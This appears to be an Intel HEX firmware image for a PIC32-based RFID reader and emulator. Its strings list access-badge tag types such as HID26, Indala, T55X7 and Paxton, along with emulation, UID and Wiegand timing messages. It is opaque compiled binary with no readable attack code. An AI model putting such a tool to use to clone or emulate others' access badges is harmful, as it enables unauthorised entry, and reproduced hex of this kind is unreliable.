:1030ac0042a81500ffffb526300035ae2000228e59
:1030bc0040000224140022ae000032ae2c00bf8f60
:1030cc002800b58f2400b48f2000b38f1c00b28f62
:1030dc001800b18f1400b08f0800e0033000bd273a
:1030ec00184c410b245a4224e7ff8052059d023ca8
:0c30fc00059d023c264c410b645a422406
:020000040000fa
:020000041d05d8
:10310800c8ffbd273400bfaf3000b7af2c00b6af43
:103118002800b5af2400b4af2000b3af1c00b2af95
:103128001800b1af1400b0af21a0c0002188e000a2
:103138002518e6000300633004006014010002242f
:103148000d00c01421b08000211000003400bf8f92
:103158003000b78f2c00b68f2800b58f2400b48fad
:103168002000b38f1c00b28f1800b18f1400b08fed
:103178000800e0033800bd2721b8a00000f01224a1
:1031880024909200ff0f95302120e0002128400272
:10319800494a410f2130a0020010132423807502f0
:1031a8002b101402190040142128e00221203502b6
:1031b8002128e002494a410f2130800223301402bd
:1031c8001900c0142120b40221a000001857410f93
:1031d80021204002218000002120120221283002f3
:1031e800d856410f00021026fcff131621201202a8
:1031f800d5ff801221a80000238075022b1014022d
:10320800eaff40102190c0022128e0022120350267
:10321800494a410f2130000223a0900221b0d00278
:10322800754c410b21b8f0022128d402494a410fbc
:0c32380021202402754c410b21a0000055
:020000040000fa
:020000041d05d8
:103244000d0a0d0a20204869676820504f54202831
:1032540077697065722030292076616c75653a2033
:10326400256400000d0a4869676820504f542028df
:103274007769706572203029207265616420666107
:10328400696c656421202564000000000d0a20207b
:103294004c6f7720504f5420287769706572203125
:1032a400292076616c75653a202564000d0a4c6fff
:1032b4007720504f54202877697065722031292077
:1032c40072656164206661696c656421202564000f
:1032d4000d0a0d0a202048696768204e5620504f79
:1032e40054202877697065722030292076616c75c6
:1032f40065202564000000000d0a48696768204eb7
:103304005620504f54202877697065722030292048
:1033140072656164206661696c65642120256400be
:103324000d0a20204c6f77204e5620504f542028f1
:1033340077697065722031292076616c7565202566
:10334400640d0a000d0a4c6f77204e5620504f54de
:1033540020287769706572203129207265616420a4
:103364006661696c6564212025640d0a0000000013
:103374000d0a6f66667365742070617374207a65d4
:10338400726f2070756c73657320256400000000f3
:103394000d0a426172726965722028256429200031
:1033a400286261642070756c736520636f756e7438
:1033b4002025642920000000312028676170202521
:1033c40064292000302028676170202564292000aa
:1033d4002862616420676170202564292000000050
:1033e40020307825303278000d0a31204761703a58
:1033f4002025642c200000000d0a30204761703a1b
:103404002025642c200000000d0a3f3f3f20476127
:10341400703a2025642c20004269742050756c7326
:10342400653a202564000000426172726965722069
:1034340050756c73653a2025640000003f3f3f20bf
:1034440050756c73653a20256400000025730000f4
:103454000d0a00004d6573736167652063686563d9
:103464006b696e672c2063616c63756c6174656451
:1034740020636865636b73756d3a20307825780d29
:103484000a0000002025303258000000200000000f
:0c3494002020202025730d0a00000000fd
:020000040000fa
:020000041d05d8
:1034a000e8ffbd271400bfaf1000b0af2180a0001f
:1034b0000c00a294400043301c0060141800a4a328
:1034c000020043303d006050300042341000a38cb5
:1034d0001b0060500e00a4940800a58c2d00a05085
:1034e00000a0053c0400068eac52410f0e0004966d
:1034f0000800028e1800a38301004424ffff052466
:10350000040005ae000004ae000043a01800a28332
:103510000a000324130043500c0003961400bf8fcd
:103520001000b08f0800e0031800bd272014047cb1
:103530001400bf8f1000b08f0800e0031800bd27f3
:103540001800a527ac52410f01000624040000ae6c
:103550001800a2831400bf8f1000b08f0800e00392
:103560001800bd2700016330edff60101400bf8f0d
:103570000e0004960800058eac52410f0400068e22
:103580000800038e1800a283040000ae474d410bd3
:10359000000003ae9871a5242000032408004234e3
:1035a000080005ae000005ae100003ae040003ae37
:1035b0000c0002a63a4d410b200006240c00a2a4e8
:0c35c0000400a0ac474d410bffff0224ab
:020000040000fa
:020000041d05d8
:1035cc0025408500030008313d0000150101093c30
:1035dc0001012935c07909000000828c0000a38c00
:1035ec00234049000400431024400f0100008424b0
:1035fc00330000100000a524050000112460030115
:10360c0003008811000000000800e00321100000f6
:10361c000400828c0400a38c234049000400431056
:10362c0024400f0104008424250000100400a5246c
:10363c000500001124600301030088110000000044
:10364c000800e003211000000800828c0800a38c05
:10365c00234049000400431024400f010800842437
:10366c00170000100800a5240500001124600301b8
:10367c0003008811000000000800e0032110000086
:10368c000c00828c0c00a38c2340490004004310d6
:10369c0024400f010c008424090000100c00a52408
:1036ac0010008424ccff00111000a5242460030119
:1036bc00caff88110000828c0800e0032110000072
:1036cc00000088900000a9900300001101008424e0
:1036dc00fbff09110100a5240800e00323100901d8
:020000040000fa
:020000041d05d8
:1036ec004e4f4e450000000041534b5241570000d5
:1036fc0046534b315241570046534b3252415700bf
:10370c0050534b315241570050534b32524157009a
:10371c0050534b33524157004849544147310000f4
:10372c004849544147320000454d3458303200006e
:10373c00513500004849443236000000494e44419e
:10374c004c41363400000000494e44414c41323269
:10375c0034000000554e495155450000464458422e
:10376c0000000000543535583700000041574944db
:10377c0032360000454d34583035000054414d412f
:10378c00474f54434849000048445800504158544e
:10379c004f4e00004e6f6e650000000041534b2fe2
:1037ac004f4f4b0046534b0050534b0025730000ba
:1037bc000d0a4b6e6f776e205441472074797065fb
:1037cc00733a0d0a000000000d0a2020257300003a
:1037dc000d0a00000d0a202025733a20000000007d
:1037ec003030303030303030000000003444343968
:0c37fc00344235320000000000000000e4
:020000040000fa
:020000041d05d8
:10380800e8ffbd271400bfaf1000b0afef57410f5e
:103818002180800088bf063c0030c78c0003e77c0d
:103828000800e014004003360010042488bf033c5d
:10383800083064ac0030c38c00086330fdff6014ae
:103848000040033681bf103c00f403ae0048054039
:103858000048034023186500f000632cfcff601447
:1038680081bf033c99aa043c5566842410f464acd7
:103878006655043caa99843410f464ac008004347e
:1038880081bf033c08f464ac00f4038e008063300d
:10389800fdff60140040042481bf033c04f464acc1
:1038a8001200e010001004240030c38c0003637c75
:1038b8000600601488bf033c083064ac0030c38c39
:1038c80000086330fdff6014000000009257410fac
:1038d8002120400000f4028e003042301400bf8fd7
:1038e8001000b08f0800e0031800bd2788bf033c14
:1038f800043064ac9257410f2120400000f4028e3e
:10390800003042301400bf8f1000b08f0800e00371
:043918001800bd27af
:020000040000fa
:020000041d05d8
:10391c000020202020202020202028282828282093
:10392c00202020202020202020202020202020208b
:10393c0020801010101010101010101010101010fb
:10394c0010040404040404040404041010101010e3
:10395c0010104141414141410101010101010101ad
:10396c0001010101010101010101010110101010ff
:10397c00101042424242424202020202020202027f
:10398c0002020202020202020202020210101010d3
:10399c0020000000000000000000000000000000fb
:1039ac00000000000000000000000000000000000b
:1039bc0000000000000000000000000000000000fb
:1039cc0000000000000000000000000000000000eb
:1039dc0000000000000000000000000000000000db
:1039ec0000000000000000000000000000000000cb
:1039fc0000000000000000000000000000000000bb
:103a0c0000000000000000000000000000000000aa
:043a1c0000000000a6
:020000040000fa
:020000041d05d8
:103a2000e0ffbd271c00bfaf1800b2af1400b1af5c
:103a30001000b0af218080000c008394110064302e
:103a4000010002241c00821400026230180040149d
:103a50000400028efffd63300c0003a61a0011243f
:103a60000d0012241f004018ffff44240000028ea6
:103a7000040004ae01004424000004ae00004290a3
:103a800080006430050080141c00bf8f1c00515062
:103a90000800028e110052500400028e1800b28fee
:103aa0001400b18f1000b08f0800e0032000bd2784
:103ab000e9ff4050fffd6330100063340c0003a6a3
:103ac000ffff02241c00bf8f1800b28f1400b18fbb
:103ad0001000b08f0800e0032000bd27e3ff401c6a
:103ae000ffff442440006230f3ff40142120000215
:103af000e749410f00000000a04e410b0c00039667
:103b0000eeff4050100063340400048e0000028e6b
:103b100001008424ffff4224040004aeae4e410b9a
:043b2000000002aef1
:020000040000fa
:020000041d05d8
:103b2400c03d867cffffc824fe00082dc24f040060
:103b34002b00001100b0877c81ffc6248000023c6a
:103b44002510e2002130c5007f00c324180060184e
:103b5400c0100200070044300d008014c000447cf3
:103b6400ff00642824008010c2100200c005447cb9
:103b7400020080502118000000b0427c004a090075
:103b840025186900c01d03000800e0032510620029
:103b94000300422421104400c2260200f1ff8010d9
:103ba400ff00642842100200d94e410b0100632437
:103bb40082ff0324231866001b006428120080502f
:103bc400211000009e00c42404208200061062001c
:103bd4002b18040025106200d64e410b010003246b
:103be4000300c014000000000900e0142018e37072
:103bf4000800e0032110800000120900ff00423495
:103c04000800e003c0150200e04e410b211800003b
:103c1400f8ff6224041047008aff0624d24e410ba9
:043c24002330c30086
:020000040000fa
:020000041d05d8
:103c2800000101020102020301020203020303046c
:103c3800010202030203030402030304030404054c
:103c4800010202030203030402030304030404053c
:103c5800020303040304040503040405040505061c
:103c6800010202030203030402030304030404051c
:103c780002030304030404050304040504050506fc
:103c880002030304030404050304040504050506ec
:103c980003040405040505060405050605060607cc
:103ca80001020203020303040203030403040405dc
:103cb80002030304030404050304040504050506bc
:103cc80002030304030404050304040504050506ac
:103cd800030404050405050604050506050606078c
:103ce800020303040304040503040405040505068c
:103cf800030404050405050604050506050606076c
:103d0800030404050405050604050506050606075b
:103d1800040505060506060705060607060707083b
:020000040000fa
:020000041d05d8
:103d2800c03a0500425d04002538eb00c0320400ab
:103d38000080013c2538e1000080013c2448a100b6
:103d4800404005004245080080fc0825ffff0b2580
:103d5800fe00612d12002010000000000200c010bb
:103d6800000000000100e7348000e7248000eb2c0d
:103d780021400b01025a070001006b312338eb0088
:103d880040380700423a0700c05d08002538eb00bc
:103d98002510e9000800e003000000000000000012
:103da8007f040124070001150000000040580700a7
:103db800255866010300601100000000f5ff00109f
:103dc800c0ff023cff00012904002014000000008d
:103dd800807f013cefff00102510210101000a241b
:103de800235048012000412d03002014000000004a
:103df800e8ff00102510090020000c2423608a0128
:103e0800045887012530cb000638470100000824f4
:103e18000080013cd1ff00102538e10000000000bf
:020000040000fa
:020000041d05d8
:103e280020202020202020202020202020205479fd
:103e380070653a20257300000d0a202020202020dc
:103e4800202020456d756c6174696e673a20257372
:103e5800000000000d0a2020202020202020202003
:103e680020526177205549443a202573000000000c
:103e7800696e76616c696421000000000d0a2020db
:103e880020202020202020202020202020554944a8
:103e98003a20257300000000257300000d0a0d0a62
:103ea800000000000d0a20202020202020202020b3
:103eb80020202020446174613a0000000d0a20206f
:103ec80020202020202020202020202020202025e5
:103ed800643a20000d0a25643a20286661696c2935
:103ee8000d0a00000d0a25643a2000002046616989
:103ef8006c656421000000002028417574682f4c0f
:103f08006f67696e290000000d0a0d0a25643a20c2
:043f180000000000a5
:020000040000fa
:020000041d05d8
:103f1c0000950000000000000000000001f9000006
:103f2c0000000000000000000887000004000000f2
:103f3c000000000009af00000000000001000000bc
:103f4c000a1b000000000000010000000cc3000070
:103f5c0001000000000000000daf00000200000096
:103f6c000000000010ff0000000000000000000036
:103f7c0011ff0000000000000100000012ff000013
:103f8c00000000000100000018ff0000000000000d
:103f9c000100000019ff00000000000001000000fb
:103fac0020ff0000000000000000000021ff0000c6
:103fbc00000000000000000026df000001000000ef
:103fcc00000000003773000000000000000000003b
:103fdc003a25000004000000000000003b25000012
:103fec00000000000000000029ff00000400000099
:103ffc000000000017ff000000000000000000009f
:020000040000fa
:020000041d05d8
:1040100001000000000000000a0000000000000095
:104020006400000000000000e80300000000000041
:104030001027000000000000a08601000000000022
:1040400040420f0000000000809698000000000031
:1040500000e1f5050000000000ca9a3b00000000e6
:1040600000e40b540200000000e87648170000004e
:104070000010a5d4e800000000a0724e180900004e
:1040800000407a10f35a00000080c6a47e8d030021
:104090000000c16ff286230000008a5d784563014d
:1040a000000064a7b3b6e00d0000e8890423c78ac6
:1040b000286e756c6c290000303132333435363758
:1040c0003839414243444546000000003031323324
:1040d0003435363738396162636465660000000044
:1040e0000000003f0000803f00002041cdcccc3dcf
:0840f0005f7089400000000030
:020000040000fa
:020000041d05d8
:1040f800a8ffbd270400a1af0800a2af0c00a3af22
:104108001000a4af1400a5af1800a6af1c00a7affd
:104118002000a8af2400a9af2800aaaf2c00abaf9d
:104128003000acaf3400adaf3800aeaf3c00afaf3d
:104138004000b8af4400b9af4800bfaf124000001c
:104148004c00a8af104000005000a8af059d1a3cd5
:1041580000585a270000000000680440006005402d
:1041680009f84003000000005000a88f110000016a
:104178004c00a88f130000010400a18f0800a28f33
:104188000c00a38f1000a48f1400a58f1800a68f11
:104198001c00a78f2000a88f2400a98f2800aa8fb1
:1041a8002c00ab8f3000ac8f3400ad8f3800ae8f51
:1041b8003c00af8f4000b88f4400b98f4800bf8fd4
:0c41c8005800bd27c00000001800004295
:020000040000fa
:020000041d05d8
:1041d400e8ffbd271400bfaf00a0023c3800428caa
:1041e4000a0040142024047c0000023c0000422405
:1041f400250040100000023c0000000c00000000fc
:104204001400bf8f0800e0031800bd270100032439
:104214001500431080bf053c80bf053c2068a524e1
:1042240080bf023c1868422480bf063c0868c6244c
:1042340080bf033c10686324008007340000c7accf
:1042440000040624000046ac0000628c00014230e9
:10425400fdff4010000000000000a4ac1400bf8f5c
:104264000800e0031800bd272060a52480bf023c9d
:104274001860422480bf063c0860c62480bf033c0b
:104284008f50410b1060632400004224e3ff401070
:1042940080bf053c0000000c000000008250410b70
:0442a4001400bf8fb4
:020000040000fa
:020000041d05d8
:1042a80001000000000000000a00000000000000fb
:1042b8006400000000000000e803000000000000a7
:1042c8001027000000000000a08601000000000088
:1042d80040420f0000000000809698000000000097
:1042e80000e1f5050000000000ca9a3b000000004c
:1042f80000e40b540200000000e8764817000000b4
:104308000010a5d4e800000000a0724e18090000b3
:1043180000407a10f35a00000080c6a47e8d030086
:104328000000c16ff286230000008a5d78456301b2
:10433800000064a7b3b6e00d0000e8890423c78a2b
:10434800286e756c6c2900003031323334353637bd
:104358003839414243444546000000003031323389
:1043680034353637383961626364656600000000a9
:020000040000fa
:020000041d05d8
:10437800e8ffbd271400bfaf1000beaf21f0a003b7
:104388001800c4af1c00c5af2000c6af00a0023c97
:10439800dc564224870042900a0003240f00431091
:1043a8000000000012000324060043100000000073
:1043b800080003240f004310000000000551410bc2
:1043c800000000001c00c48f2000c58fbfe1400f13
:1043d800000000000651410b000000001c00c48fc3
:1043e8002000c58f27d0400f000000000651410b68
:1043f800000000001c00c48f2000c58f22ae400fb3
:10440800000000000651410b0000000021100000d0
:1044180021e8c0031400bf8f1000be8f1800bd270d
:084428000800e00300000000a1
:020000040000fa
:020000041d05d8
:10443000e0ffbd271c00bfaf1800b2af1400b1af42
:104440001000b0af80180400059d023c285f422494
:10445000211062000000428c1c0091240000528c4c
:10446000212800004081040000800334040043ac94
:1044700021202002059d023cd4484224c956410f08
:10448000218050000d57410f212020020800048e8a
:104490002357410f0c00058e1000048e2357410f47
:1044a0001400058e0000048e2357410f0400058e72
:1044b0000080023c80004224249042020500401209
:1044c0001c00bf8f1800048e2357410f1c00058e5f
:1044d0001c00bf8f1800b28f1400b18f1000b08f76
:0844e0000800e0032000bd27e5
:020000040000fa
:020000041d05d8
:1044e800c23d0400ff00e7300080013c2430810019
:1044f800ffffe924fe00212d0d0020100000000020
:104508008003e724404a0400024b09002530c90013
:10451800402f0400004d07002530c9002510050074
:10452800251806000800e003000000000000000055
:104538000000052421208400f6ff80100000000000
:104548000900e01400000000ffffe7242120840098
:104558008000013c2b088100fbff201400000000b4
:10456800e7ff001000000000ff07072400ff013ce0
:10457800010021342b088100e6ff20140000000010
:0c458800e4ff0010f8ff063c00000000fb
:020000040000fa
:020000041d05d8
:10459400211080002600c0101000ca2c1f004015f6
:1045a400ff00a530005205002528aa00005405008c
:1045b4002528aa00030083300500601004000724a6
:1045c4002338e3002330c700000085b8212087008a
:1045d4000f00c3302338c3000800e010213060000e
:1045e4002138e400000085ac040085ac080085aceb
:1045f40010008424fbff8714fcff85ac0300c33048
:104604002338c3000500e010213060002138e400a5
:1046140004008424feff8714fcff85ac0400c01052
:104624002138c40001008424feff8714ffff85a005
:084634000800e0030000000093
:020000040000fa
:020000041d05d8
:10463c00e0ffbd271c00bfaf1800b0af059d103cbc
:10464c001d3910262118900000006390040067307b
:10465c000a00e01021108000d0ff82242a28450097
:10466c001300a014ff004230ff0002241c00bf8f77
:10467c001800b08f0800e0032000bd270100673050
:10468c000400e050030063300d00c0140000000073
:10469c0003006330f5ff6050ff000224a9ff4224a1
:1046ac002a284500f1ffa050ff000224ff004230f1
:1046bc001c00bf8f1800b08f0800e0032000bd273e
:1046cc006157410f1000a5af2180500000000392ec
:0846dc00a751410b1000a58f4e
:020000040000fa
:020000041d05d8
:1046e400200003240900052400008280feff4350bb
:1046f40001008424030045542d000324bb51410bc5
:104704000100842419004310212880002b00032475
:104714001a00431021480000059d083c1d39082556
:104724002118020100006390040063300c00601043
:104734002118000001008424d0ff46240000828058
:1047440040380300c0180300212802010000a5908e
:104754002118e3000400a530f6ffa0142118660018
:10476400231003000800e0030a10690001008424f8
:104774000100a280c751410b0100092401008424d7
:08478400c751410b0100a280a6
:020000040000fa
:020000041d05d8
:10478c002530386c58000000253031366c6c5800e0
:10479c002532580025730000253858002558000094
:1047ac002530326c7800000025730d0a00000000e3
:1047bc0025642000256400000d0a00002b00000079
:1047cc002e0000000d0a4f4b0d0a0d0a00000000d0
:1047dc002125730d0a0000000d0a25730d0a0d0a20
:1047ec00000000003f000000200000003c3f786dfe
:1047fc006c2076657273696f6e3d22312e302220eb
:10480c00656e636f64696e673d225554462d382280
:10481c003f3e00003c25733e000000003c2f2573fa
:04482c003e0000004a
:020000040000fa
:020000041d05d8
:10483000e0fdbd271c02bfaf1802beaf21f0a003f0
:104840002002c4af2402c5af2402c28f0000428000
:104850000c004014000000001000c227212040007e
:10486000f82b410f0000000004004014000000007d
:10487000211000002f52410b000000001000c22741
:104880002402c2af00a0023cdc56422487004290c2
:1048900021184000070002240700621400000000f5
:1048a0002002c48f2402c58f66ab400f00000000b9
:1048b0002f52410b000000002110000021e8c0032e
:1048c0001c02bf8f1802be8f2002bd270800e00324
:0448d00000000000e4
:020000040000fa
:020000041d05d8
:1048d40007000000000000000700000000000000c6
:1048e40007000000000000000700000000000000b6
:1048f40003000000000400000300000001000000a9
:10490400020000001000000003000000000200008c
:104914000600000040000000060000000001000046
:1049240006000000800000000600000000020000f5
:1049340003000000008000000500000000010000ea
:104944000500000004000000030000000040000017
:104954000500000000200000050000002000000009
:104964000500000010000000050000000010000019
:020000040000fa
:020000041d05d8
:10497400e8ffbd271400bfaf1000b0af2180800056
:104984000c008294010244300100032417008310b8
:1049940002024430020203240500831021100000a7
:1049a4001400bf8f1000b08f0800e0031800bd276b
:1049b4000800058efbffa0101400bf8f0400028eb8
:1049c400f9ff40501000b08f0e000496ac52410f16
:1049d400213040000400038e040043100c000296b2
:1049e40030004234ffff42300c0002a60800038e60
:1049f4004001427c040000ae000003ae231002001c
:104a04001400bf8f1000b08f0800e0031800bd270a
:020000040000fa
:020000041d05d8
:104a1400feff082440300400403805002548c70044
:104a24001b0020110000000000ff013c01002134a4
:104a34002b08c1001a0020100000000000ff013cf8
:104a4400010021342b08e1001500201000000000b3
:104a54000200810442300600233006000200a10453
:104a640042380700233807002a08c7000300201033
:104a74000000000007000010ffff02242a08e600df
:104a840003002010000000000200001001000224b6
:104a9400000002240800e003000000000000000001
:0c4aa400fcff00102510080000000000be
:020000040000fa
:020000041d05d8
:104ab0001800a010211000001200c0100300842c68
:104ac0001200801000000000e0ffbd271c00bfaff7
:104ad0000000023c00004224100040101800b0af5b
:104ae0002120a0002128c0000000000c1400a6af67
:104af0001400a68f2110c0001c00bf8f1800b08fbb
:104b00002000bd270800e003000000000800e003cb
:104b10002110c0000800e003000000002180c00058
:104b20000000a480ffff10260100a5241000a5afff
:104b30007550410f1400a6af1000a58ff8ff0016a6
:0c4b40001400a68fbe52410b2110c000d3
:020000040000fa
:020000041d05d8
:104b4c000400c92805002011213886001700c01c5c
:104b5c00000000000800e003211000002540850043
:104b6c0003000831030000110000000010000010c9
:104b7c00000088900000888c0000a98c040084241c
:104b8c00050009110400a524fcffa524fcff8424c6
:104b9c000700001000008890fcffc624f5ffc01c25
:104bac00000000000800e0032110000000008890c5
:104bbc000000a99001008424030009110100a52420
:104bcc000800e00323100901f8ff8714000000001f
:084bdc000800e00321100000b5
:020000040000fa
:020000041d05d8
:104be400257300000d0a496e736572742063617247
:104bf400640000000d0a4c6f6164696e67204d65a6
:104c0400646961000d0a44657465637465642053c6
:104c14004420436172642073697a65202873656354
:104c2400746f7273293a2025640000000d0a5365dd
:104c340063746f722073697a653a202564000000fa
:104c44000d0a4469726563746f72793a0d0a0d0a2c
:104c5400000000002a2e2a002573090025730d0a7e
:104c640000000000286469722900000025640d0a10
:044c7400000000003c
:020000040000fa
:020000041d05d8
:104c780000a0033cc07262800b00401401000424b1
:104c88005158023c2df44234c07264a0954c053c46
:104c98002e7fa5242118400000a0043cb87285ace2
:104ca8000800e003bc7283ac00a0043cb872828c9c
:104cb8005158063c2df4c63402304670bc72878cbd
:104cc800954c053c2d7fa5241900450012100000c5
:104cd800101800000240e57021300601010045244b
:104ce8002b10a2002118c3002118430000f0627c99
:0c4cf800b87285ac0800e003bc7283ac0d
:020000040000fa
:020000041d05d8
:104d0400c2350400ff00c630ffffc924fe00212d78
:104d14000b0020100000000082ffc6247f80013cad
:104d2400ffff213424208100003f013c2520810025
:104d34000000a6ac251004000800e00300000000f9
:104d44000d00c0140000000021488400f8ff201169
:104d540000000000403a04002040e8702330c800fe
:104d6400043807010080013c24208100024a070026
:104d7400e9ff001025208900c0ff043cecff00106f
:084d84000000062400000000fd
:020000040000fa
:020000041d05d8
:104d8c000d0a7469636b7320256c64000d0a312065
:104d9c0075733a2025640000257300000d0a00008d
:104dac000d0a31302075733a202564000d0a31301c
:104dbc00302075733a202564000000000d0a313054
:104dcc0030302075733a2025640000000d0a313014
:104ddc002c3030302075733a202564000d0a3130a8
:104dec00302c3030302075733a20256400000000e0
:104dfc000d0a312c3030302c3030302075733a2085
:104e0c0025640000ff0000003f0000000f000000c0
:104e1c0003000000df000000370000000d00000060
:104e2c0002000000bf0000002f0000000b0000007b
:104e3c00020000009f000000270000000900000095
:104e4c00010000007f0000001f00000007000000b0
:104e5c00010000005f0000001700000005000000ca
:104e6c00000000003f0000000f00000003000000e5
:104e7c00000000001f0000000700000001000000ff
:044e8c000000000022
:020000040000fa
:020000041d05d8
:104e9000002a04000080013c2528a100c23d040036
:104ea000ff00e7309e0006242330c7000d00c01825
:104eb000000000002000c1280300201400000000b2
:104ec0000500001000000224020081040628c5002d
:104ed00023280500251005000800e003000000005d
:104ee00000000000807f013c010021342b0881007c
:104ef0000300201400000000f7ff00100080023cb7
:104f0000ff7f023cf4ff0010ffff4234000000006e
:020000040000fa
:020000041d05d8
:104f1000e8ffbd271400bfafef57410f00000000ae
:104f200088bf023c0030438c0003637c090060545e
:104f300081bf023c0010042488bf033c083064aced
:104f40000030438c00086330fdff60140000000057
:104f500081bf023c30f240ac99aa033c5566632401
:104f600030f243ac6655033caa99633430f243ac4b
:104f70000100032481bf023c18f643ac81bf023c10
:0c4f800010f6428ce153410b00000000d1
:020000040000fa
:020000041d05d8
:104f8c00002a04000080013c2528a100c23d040039
:104f9c00ff00e7309e0006242330c7000d00c0043c
:104fac00000000002000c1280300201400000000b5
:104fbc000500001000000224020081040628c50030
:104fcc0023280500251005000800e0030000000060
:104fdc0000000000807f013c010021342b0881007f
:104fec000300201400000000f7ff00100080023cba
:0c4ffc00f5ff0010ffff02240000000081
:020000040000fa
:020000041d05d8
:105008000000052425480500253805002530040042
:105018000c00c010000000000600c10400000000e1
:105028000080093c2b50050023280500233006008a
:105038002330ca001e0407242040c8702338e80023
:1050480004300601c24205004055060025400a0109
:105058004050060002530a0025482a01005507005f
:1050680025482a0125100800251809000800e00332
:08507800000000000000000030
:020000040000fa
:020000041d05d8
:105080001000c010211080000000a480ffffc62483
:10509000010043240100a52407008014000044a05f
:1050a0003454410b21286600ffffa780ffffc62470
:1050b0000600e010ffff67a00100a524faffc0145e
:1050c000010063240800e0030000000021286600be
:1050d0000600c0100000000001006324feff6514fc
:1050e000ffff60a00800e003000000000800e003ec
:0450f00000000000bc
:020000040000fa
:020000041d05d8
:1050f400ffff022417008210010003240c00a29475
:10510400010246301300c354ffff02240800a68c9a
:105114001000c050ffff02240400a78c1000a38cd1
:105124000c00e350ffff02240000a38c0b00c3100b
:105134000100e7240400a7acffff672440004630c9
:105144000000a7ac0300c014211080000800e00395
:10515400ffff64a00800e003000000004f54410b6f
:0451640001006324bf
:020000040000fa
:020000041d05d8
:10516800e8ffbd271400bfaf1000beaf21f0a003b9
:105178001800c4af1c00c5af2000c6af00a0023c99
:10518800dc5642248700429021184000080002247f
:10519800050062100000000000000000211000005f
:1051a8007054410b000000001c00c48f2000c58f04
:1051b80077ae400f0000000021e8c0031400bf8f45
:1051c8001000be8f1800bd270800e0030000000093
:020000040000fa
:020000041d05d8
:1051d8001400c010ffffc824000083800000a780cf
:1051e8000d006010211000000b006754ff006230b2
:1051f8000100a6240b000211010084240000838012
:105208000a006010010042240000c780f8ff671000
:105218002128c000ff006230ff00e7300800e003eb
:10522800231047000800e003211000000100a780b8
:1052380021100000ff00e7300800e00323104700ba
:020000040000fa
:020000041d05d8
:10524800202020202057696567616e642070756c86
:1052580073652077696474683a2025640d0a000034
:1052680020755320202020202020202020202020ae
:10527800202020202020206761703a2025640d0a14
:10528800000000002075532020202020202020200e
:105298002020202062697420706572696f643a204a
:0852a80025642075530d0a0076
:020000040000fa
:020000041d05d8
:1052b000d0ffbd272c00bfaf2800b0af3800a22719
:1052c000218080003800a6af1000a42721304000c4
:1052d0003c00a7af2400a2afff7f02242000a2afb2
:1052e0001400a0af1000b0af1800b0afc20002248d
:1052f00042fc400f1c00a2a71000a28f000040a09b
:105300001000a28f231050002c00bf8f2800b08ff8
:085310000800e0033000bd2796
:020000040000fa
:020000041d05d8
:10531800d0ffbd272c00bfaf2800b0af3800a227b0
:10532800218080003800a6af1000a427213040005b
:105338003c00a7af2400a2afff7f02242000a2af49
:105348001400a0af1000b0af1800b0afc200022424
:1053580052c7400f1c00a2a71000a28f000040a057
:105368001000a28f231050002c00bf8f2800b08f90
:085378000800e0033000bd272e
:020000040000fa
:020000041d05d8
:105380000000803f000020410000c84200007a4435
:1053900000401c460050c347002474498096184bb7
:1053a00020bcbe4c286b6e4ef9021550ec78ad60f7
:1053b000caf249710000803fcdcccc3d0ad7233cd6
:1053c0006f12833a17b7d138acc52737bd3786354a
:1053d00095bfd63377cc2b325f708930ffe6db2e5a
:1053e00008e53c1e6042a20d257300000d0a5365be
:1053f0007420544147207479706520666972737413
:10540000210d0a000d0a00000d547279696e6720a3
:10541000504f5420256400000d48697420504f54ab
:105420002025640d0a0000000d0a536574206d6f7d
:1054300064756c6174696f6e210d0a000d0a536505
:0c544000742053594e43210d0a00000057
:020000040000fa
:020000041d05d8
:10544c001f00833080180300059d023c104e42243f
:10545c00211062000000428c4000a33080bf063c4b
:10546c00305ec2ac030060144000032480bf023cd9
:10547c00145e43ac00c0023ce01f42242420820096
:10548c000220023c00a042342428a20025208500e2
:10549c0080bf023c005e44ac0800e003000000004a
:020000040000fa
:020000041d05d8
:1054ac00e0ffbd271c00bfaf1800b1af1400b0afb8
:1054bc0000a0113c059d103c1d391026884e410f53
:1054cc00dc71248e21180202000063808800633096
:1054dc00faff6014ffff03240400431000a0033cf8
:1054ec00dc71658c3d54410f212040001c00bf8fa6
:1054fc001800b18f1400b08f0800e0032000bd2706
:020000040000fa
:020000041d05d8
:10550c000080013c120080102430810002008104d4
:10551c0000000000232004009e0005242038877022
:10552c002328a7000420e400800084248000882c19
:10553c002128a80003420400010008312320880020
:10554c004020040042220400c045050025208800ac
:10555c00251086000800e003000000000000000099
:020000040000fa
:020000041d05d8
:10556c000200a32c13006014ffffa324d0ffbd275f
:10557c002c00bfaf211080001000a4272128c000f0
:10558c002130e0002000a3af1400a0af1000a2afa8
:10559c001800a2afc200022442fc400f1c00a2a7bc
:1055ac001000a38f000060a02c00bf8f0800e00348
:0c55bc003000bd270800e00321100000b3
:020000040000fa
:020000041d05d8
:1055c8000200a32c13006014ffffa324d0ffbd2703
:1055d8002c00bfaf211080001000a4272128c00094
:1055e8002130e0002000a3af1400a0af1000a2af4c
:1055f8001800a2afc200022452c7400f1c00a2a785
:105608001000a38f000060a02c00bf8f0800e003eb
:0c5618003000bd270800e0032110000056
:020000040000fa
:020000041d05d8
:105624000000043ce8ffbd27000084240300801030
:105634001400bfaf09f880000000000000008430af
:105644000000a530029d083c9082082509f800015d
:10565400000000000000023c00004224030040104f
:105664000000000009f8400000000000f9ff0010ed
:045674000000000032
:020000040000fa
:020000041d05d8
:10567800006088bf0000000000000000406088bf94
:10568800ffff0000609080bf806088bf00000000be
:1056980000000000c06088bf00000000000000009b
:1056a800006188bf0000000000000000406188bf62
:1056b8000000000000000000806188bf00000000ba
:0456c80000000000de
:020000040000fa
:020000041d05d8
:1056cc00c8ffbd273400bfaf4000a6af4400a7af52
:1056dc004000a3272400a3af1000a4af1800a4af70
:1056ec00a34a410f2800a5af2400a68f1000a427c1
:1056fc002800a58f1400a2af2000a2afc100022485
:10570c003604410f1c00a2a73400bf8f0800e00331
:04571c003800bd276d
:020000040000fa
:020000041d05d8
:10572000257300000d0a257320616e64206869747a
:10573000203c52455455524e3e20746f20636f6e8c
:1057400074696e75652c206f7220616e79206f749c
:10575000686572206b657920746f2061626f727466
:0c5760002e2e2e000d0a00002a0d0a005b
:020000040000fa
:020000041d05d8
:10576c00e8ffbd271400bfaf0600800421108000a5
:10577c004355410f000000001400bf8f0800e003e8
:10578c001800bd2742200400010042304355410f50
:10579c0025208200212040007744410f2128400021
:0c57ac001400bf8f0800e0031800bd27a8
:020000040000fa
:020000041d05d8
:1057b8000000023c00004224050040100000023caa
:1057c8000000422403004010059d023c3f00007089
:1057d800059d023c1c5942240500401000000000b1
